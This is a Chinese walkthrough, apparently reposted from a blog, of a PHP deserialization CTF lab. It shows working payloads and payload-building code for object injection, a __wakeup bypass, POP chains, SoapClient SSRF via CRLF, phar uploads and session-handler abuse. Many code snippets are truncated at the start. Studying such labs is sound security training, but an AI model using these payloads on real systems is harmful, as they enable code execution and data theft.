目录
说明
首先是先清楚靶场的php版本
第一关----基础序列化
act); }}$a=unserialize($_GET['flag']);$a->action();?>
一个很基础的反序列过程
对输入的flag进行反序列化,再调用action的方法
然后解释eval任意执行
第二关----__construct与__destruct
user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){ return 1; } }}$a=unserialize($_GET['param']);if($a->login()){ echo $flag;}?>
这里出现的了一个魔术方法__construct
__construct : 在创建对象时候初始化对象。
__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值
或者在对象被销毁的时候触发
当我们序列化时使用new函数实例化类的时候就会触发
第三关----cookie传参
user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){ return 1; } }}$a=unserialize($_COOKIE['param']);if($a->login()){ echo $flag;}?>
本关于对比上一关只是传参形式不同,只是换成用cookie传
也可以用抓包修改cookie
第四关----create_fucntion
本关涉及到create_fucntion方法要变换php版本,可以使用phpstudy 2018--php 7. 1.13
key)(); } }class GetFlag{ public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); }}unserialize($_GET['param']);?>
本题进行反序列化后就没有操作了,但出现方法__destruct
会在反序列化后触发到该方法处,而该方法又是对key进行反序列化
这里还用到一个php特性------Array
当array内包裹的第一个值是对象,第二个是对象内的方法时
在反序列化后会调用该对象的方法
所以就可以利用这个特性调用到getflag这个方法,至于如何读取到flag就要用到前面说的create_fucntion
class GetFlag{ public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); }}
这里写
key)(); } }class GetFlag{ public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); }} $a2=new func();$b=new GetFlag();$b->code='}include("flag.php");echo $flag;//';$b->action="create_function";$a2->key=serialize(array($b,"get_flag"));echo urlencode(serialize($a2));?>
action是写入create_function为下面创造方法
code是为了闭合方法再进行文件包含读取flag
第五关----__wakeup
本关版本调为5.5.38
file=$file; } function __destruct(){ include_once($this->file); echo $flag; } function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ echo show_source('index.php',true); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php?>
这里在secret中有三个方法,其中_wakeup
当__wakeup() 反序列化恢复对象之前调用该方法
但在该版本下存在一个绕过该方法的漏洞CVE-2016-7124
在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup
另外
该代码还对传入的参数进行了正则匹配
也就算是出现
o:数字 或者 c:数字
就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload
file=$file; echo $flag; } function __destruct(){ include_once($this->file); } function __wakeup(){ $this->file='index.php'; }}$pa=new secret('flag.php');echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');echo $cmd;?>
第六关----私有属性
comm = $com; } function __destruct(){ echo eval($this->comm); }}$param=$_GET['param'];$param=str_replace("%","daydream",$param);unserialize($param);?>
本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性
private属性序列化的时候格式是 %00类名%00成员名
所以要用\00代替%00实现绕过
payload生成
comm = $com; } function __destruct(){ echo eval($this->comm); }} $pa=new secret("system('sort flag.php');");echo serialize($pa),"\n";
生成
O:6:"secret":1:{s:12:"secretcomm";s:24:"system('sort flag.php');";}
这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S
与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
第七关----__call
pro; $this->body->$project(); }}class my{ public $name; function __call($func, $args) { if ($func == 'yourname' and $this->name == 'myname') { include('flag.php'); echo $flag; } }}$a=$_GET['a'];unserialize($a);?>
在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project
说明body应该是一个类且project是指要调用该类内的方法
另外有一个魔术方法__call
__call :当调用对象中不存在的方法会自动调用该方法
若要触发该方法则要利用好body调用project方法的条件
这里先是要把my类实例化到body中,而project要是my中不存在的方法,理应随便赋值但是在触发__call后call需要输入两个参数,name可以自行赋值,但是func就要在触发时就有参数,所以在给project赋值的时候应该赋参数这样在call触发后会把该不存在的方法名直接以参数的形式传入__call方法中
所以赋值给project的就是yourname
这就可以解释答案的代码了
body=new my(); $this->pro='yourname'; } function __destruct() { $project=$this->pro; //yourname $this->body->$project(); }}class my{ public $name='myname'; function __call($func, $args) { if ($func == 'yourname' and $this->name == 'myname') { include('flag.php'); echo $flag; } }}
最终payload
O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}
第八关----增量逃逸
user=$user; }}$param=$_GET['param'];$profile=unserialize(filter($param));if ($profile->pass=='escaping'){ echo file_get_contents("flag.php");}?>
本题分析,对传入的参数进行替换(这里看到flag和php替换以为是正则匹配绕过,但实际上与这个无关)
test类中有魔术方法对user这个变量进行赋值,之后就是对pass进行判断是否为escaping若是则返回flag
一开始以为改一下pass的值就可以了,但没有那么简单
由反序列化的过程可以知道,我们可以控制的只是属性,即使我们修改了pass的值在反序列化后执行代码中
class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; }}
还是会对pass初始化,所以不能单纯的想
这里实践是在考察增量逃逸
增量逃逸其实是利用了序列化与反序列化的属性个数检查差异实现
class test{ var $user='aaa";s:4:"aaaa";}'; function __construct($user){ $this->user=$user; }}
如上面的test类,在序列化后是
O:4:test:2:{s:4:"user";s:17:"aaa";s:4:"aaaa";}";s:4:"pass";} //红色为区分双引号
可以看到,user中存在;}应该会像sql注入那样闭合前面的{但在序列化中是不会闭合的
在序列化中不行,在反序列化中则可以闭合{
但如果用上面的语句去反序列化在与到;}后就会停止然后对每个属性的个数数值进行检查,如果与实际的不一样则会报错,像上面数值是17但实际上双引号内的只有aaa三个数,就缺少了14个数两者不等就会报错
我们为篡改闭合后面的pass为aaaa就不能使其报错,哪用什么方法来让个数与实际相等呢?
这里就要用到前面说的替换了
$safe=array("flag","php"); $name=str_replace($safe,"hack",$name);
这里的作用看似在过滤,但实际上是在检测到php(不能是flag)后换成hack由3个数变到4个就增加1个了,由此我们就可以利用这个增长的个数去弥补前面闭合后缺少的个数
每给php增1个,需要增14个就写入14个php,序列化后:
O:4:test:2:{s:4:"user";s:17:"phpphp....php";s:4:"aaaa";}";s:4:"pass";}
这样在反序列化中检查时就满足数值与实际个数相等就不会报错,进而实现对pass的篡改
总的来说,增量逃逸就是利用代码中的替换使得前后个数存在差异实现的
由此可以推测减量逃逸也是一样方法
补充:所谓的逃逸内容就是要修改的内容
至此我们就可以利用增量逃逸来修改pass的内容
user=$user; }}$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');//$a=new test('1'); O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}//逃逸内容://";s:4:"pass";s:8:"escaping";}//计算需要链://phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}$param=serialize($a);echo $param,"\n";$profile=unserialize(filter($param));echo $profile->pass,"\n";if ($profile->pass=='escaping'){ echo 1;}?>
最终payload
O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
第九关----pop链构造
append($this->var); }}class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ unserialize($_GET['pop']);}?>
这里出现很多的魔术方法
__invoke() 当一个类被当作函数执行时调用此方法。 __construct 在创建对象时调用此方法 __toString() 在一个类被当作字符串处理时调用此方法 __wakeup() 当反序列化恢复成对象时调用此方法 __get() 当读取不可访问或不存在的属性的值会被调用
具体可以看:
(2条消息) 反序列化之魔术方法的浅学习_反序列化魔术方法_quan9i的博客-CSDN博客
这里就是要构造pop链,构造链先找到头和尾
头如果不好找就先从尾溯头,尾很明显是incude的文件包含的函数,所在的方法append上一个是由__invoke调用的
能触发__invoke的方法就观察有能调用的方法的地方,可发现__get方法内可以调用函数
而能触发__get方法的地方就要找可以读取属性的地方,可发现__tostring内可读取属性
而能够触发__tostring的地方也就只有show这个类(即本方法所在类)
这就要将show类以字符串的形式赋值给自己(show类)的source属性
至此就找到头的位置即show类
所以得出下面的答案:
append($this->var); }}class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; //这是个调用函数p的方式 return $function(); }}$a=new Modifier();$b=new show();$c=new Test();$b->source=$b; //把show类当成字符串赋值给属性source从而触发to_string$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invokeecho urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发?>
最终payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D
pop链的构造可参考:
php反序列化之pop链构造_php反序列化pop链_XiLitter的博客-CSDN博客
其次是:
PHP之序列化与反序列化(POP链篇)_php反序列化pop链_errorr0的博客-CSDN博客
第十关----原生类反序列化soap
本关需要开启soap拓展且php版本在5.6
找到配置文件 php-ini
开始分析题目
本题中,当然可以将参数直接传递给flag.php,但不建议使用此方法来学习SOAP。
既然本题是要考察soap就要先了解什么是soap
(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客
浅析php反序列化原生类的利用_php反序列化利用原生类_Christ1na的博客-CSDN博客
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
本题就是要构造ssrf
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
还要利用crlf注入漏洞(\r\n)
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
本题要求post发送数据包需要将Content-Type设置为application/x-www-form-urlencoded
'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));$b = serialize($a);$b = str_replace('^^',"\r\n",$b);//将^^改为\r\n$b = str_replace('&','&',$b);echo urlencode($b);
location处实现的是将原Content-Type挤下去再写入post传参的Content-Type在Content-Length之后用两次\r\n原来的Content-Type被挤到post传参的部分(因为HTTP报文的结构:状态行和首部中的每行以CRLF(\r\n)结束,首部与主体(本题就是post的传递内容)之间由一空行分隔。)同post_data一起被post
最后在终端运行该代码
直接访问flag.txt
第十一关----phar反序列化
php.ini中改成phar.readonly=Off(若有分号则去掉)
本题还有一个缺陷,在本文件中的leve11文件内要新建一个名为upload的文件夹
分析代码得得知:
题目给了一个post的file可以控参数
现在是没有unserialize()函数来反序列化
这里就需要用到phar文件来实现反序列化
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启
这里参考这篇博客:
和
PHP反序列化漏洞(最全面最详细有例题)_php反序列化漏洞cve_Harder.的博客-CSDN博客
运用phar文件上传再利用phar伪协议调用上面的TestObject类
首先就是要生成一个phar文件
startBuffering();$phar->setStub("GIF89a"."");//GIF89a是增加gif文件头,伪造文件类型$o = new TestObject();//自定义的meta-data内容,本题是为了调用TestObject类所以要实例化$phar->setMetadata($o);//将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加需要压缩的文件$phar->stopBuffering();//签名自动计算?>
生成phar1.phar文件后改成gif格式
回到level11目录直接post进行phar伪协议
伪协议可参考这篇博客:
ctf-web:PHP伪协议 - 学安全的小白 - 博客园 (cnblogs.com)
其次是
(1条消息) 文件包含之——phar伪协议_phar协议_西蛤一扎ミ(・・)ミ的博客-CSDN博客
file=phar://upload/生成的压缩文件/被压缩的原文件
上传的payload为:
file=phar://upload/phar1.gif/test.txt
对phar的学习还参考了:
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客
php反序列化完整总结 - 先知社区 (aliyun.com)
第十二关----phar黑名单绕过
与上一关类似,本关多了对post的过滤
正常的phar伪协议是不行的
当phar被过滤的情况下可以使用下列协议实现绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
由于黑名单上有zip和php所以使用的payload为:
compress.zlib://phar://upload/test.gif/test.txt
本题在phar:后是//而不是///但参考别的师傅的博客都是///这里不知道为什么
第十三关----session可控时
客户端session:
客户端 session 导致的安全问题 | 离别歌 (leavesongs.com)
name=$this->her=md5(rand(1, 10000)); if ($this->name===$this->her){ include('flag.php'); echo $flag; } }}?>
在hint中
在index.php中就一个Flag类中存在一个__wakeup魔术方法
方法内形同虚设,相当于触发了方法直接返回flag
哪触发wakeup需要反序列化,这里没unserialize函数且没有文件上传
但hint中发现对session是可控的且在hint.php下session的引擎格式是php_serialize
默认情况下session处理引擎是php
此外了解一下ini_set这个函数
ini_set设置php.ini指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
也就是说只有在hint.php下时是对session处理的引擎是php_serialize
其他php文件下还是默认php引擎
这里参考这篇博客:
(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客
中有当不同引擎处理session时会产生漏洞
php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
当在php_serialize的引擎储存格式下创建session然后处理(验证)session时会把" | "当成一个正常的字符。而在php引擎储存格式下处理(验证)同一个session的时会把" | " 当成键与值的分割符然后对分割符后面的值进行反序列化
所以当我们在自定义session中在序列化语句前加上 | 然后再访问index.php这时,在index.php下服务器验证session的时候因为是php引擎储存格式,所以会对session中 | 后的内容进行反序列化,从而触发了wakeup魔术方法得到flag
最终的payload:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}
在hint.php中GET传入payload
再访问index.php
总结:
当我们可以控制session时且存在不同引擎储存格式的时候可以利用该漏洞实现反序列化
第十四关----session不可控时
本关需要调试的内容挺多
session.auto_start=0;session.serialize_handler = php_serialize;session.upload_progress.enabled = On;session.upload_progress.cleanup = Off;session.upload_progress.prefix = "upload_progress_";session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS";
session.upload_progress.freq = "1%";session.upload_progress.min_freq = "1";
按照上述在php.ini中依次设置好,前面有分号的去掉
name=='flag'){ include('flag.php'); echo $flag; } else{ phpinfo(); } }}
本题与上一题考点大体思路是一样的,只不过上一题的session是可控的可以写入键值,本题不能直接写入,这里要介绍另一个可以控制session建值的方法
主要利用的是session.upload_progress.enabled 当该设置为on 的时候,在向服务器上传任意一个文件的时候php会把该上传文件的详细信息(如上传时间,文件名等)储存在session中,而当我们以POST形式传入名为PHP_SESSION_UPLOAD_PROGRESS的变量时,传入的文件名会被储存到session中(也是filename的值赋值到session中)
利用这个我们就可以写入恶意序列化语句再利用上一关的原理(引擎储存格式差异)来实现语句的反序列化
在实现反序列化后就会触发__destruct魔术方法从而得到flag
方法步骤:
构造序列化语句
name=='flag'){ include('flag.php'); echo $flag; } else{ phpinfo(); } }} $a=new test();echo serialize($a);
2.写一个文件上传的html
创建文本写入代码
改成html尾缀,这里的变量名一定要是PHP_SESSION_UPLOAD_PROGRESS
打开html任意上传一个文件并抓包
修改filename为
|O:4:\"test\":1:{s:4:\"name\";s:4:\"flag\";}
这里的反斜杠是转义filename内容中双引号防止与外部的双引号闭合,前面的竖线则是键与值的分割符
本菜一直有一个疑惑,如果在真正的题目中是要通过phpinfo才能知道session.upload_progress.enabled是否开启,但在这题中如果不通过配置文件又是如何知道已经开启了呢?或者说本题源码也说明触发destruct后变量name不等于flag时会访问phpinfo,但是既然能触发destruct不也就已经知道了session.upload_progress.enabled是开启的了吗?
参考博客:
(1条消息) $_session无法存储变量怎么回事_PHP-Session利用总结_weixin_39716971的博客-CSDN博客
(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客
利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
感谢
感谢博主:这周末在做梦
(1条消息) 这周末在做梦的博客_CSDN博客-原理实验,wp篇,SSRF领域博主
让本菜从靶场中认识到反序列化基础知识
来源地址:https://blog.csdn.net/qq_73767109/article/details/130856442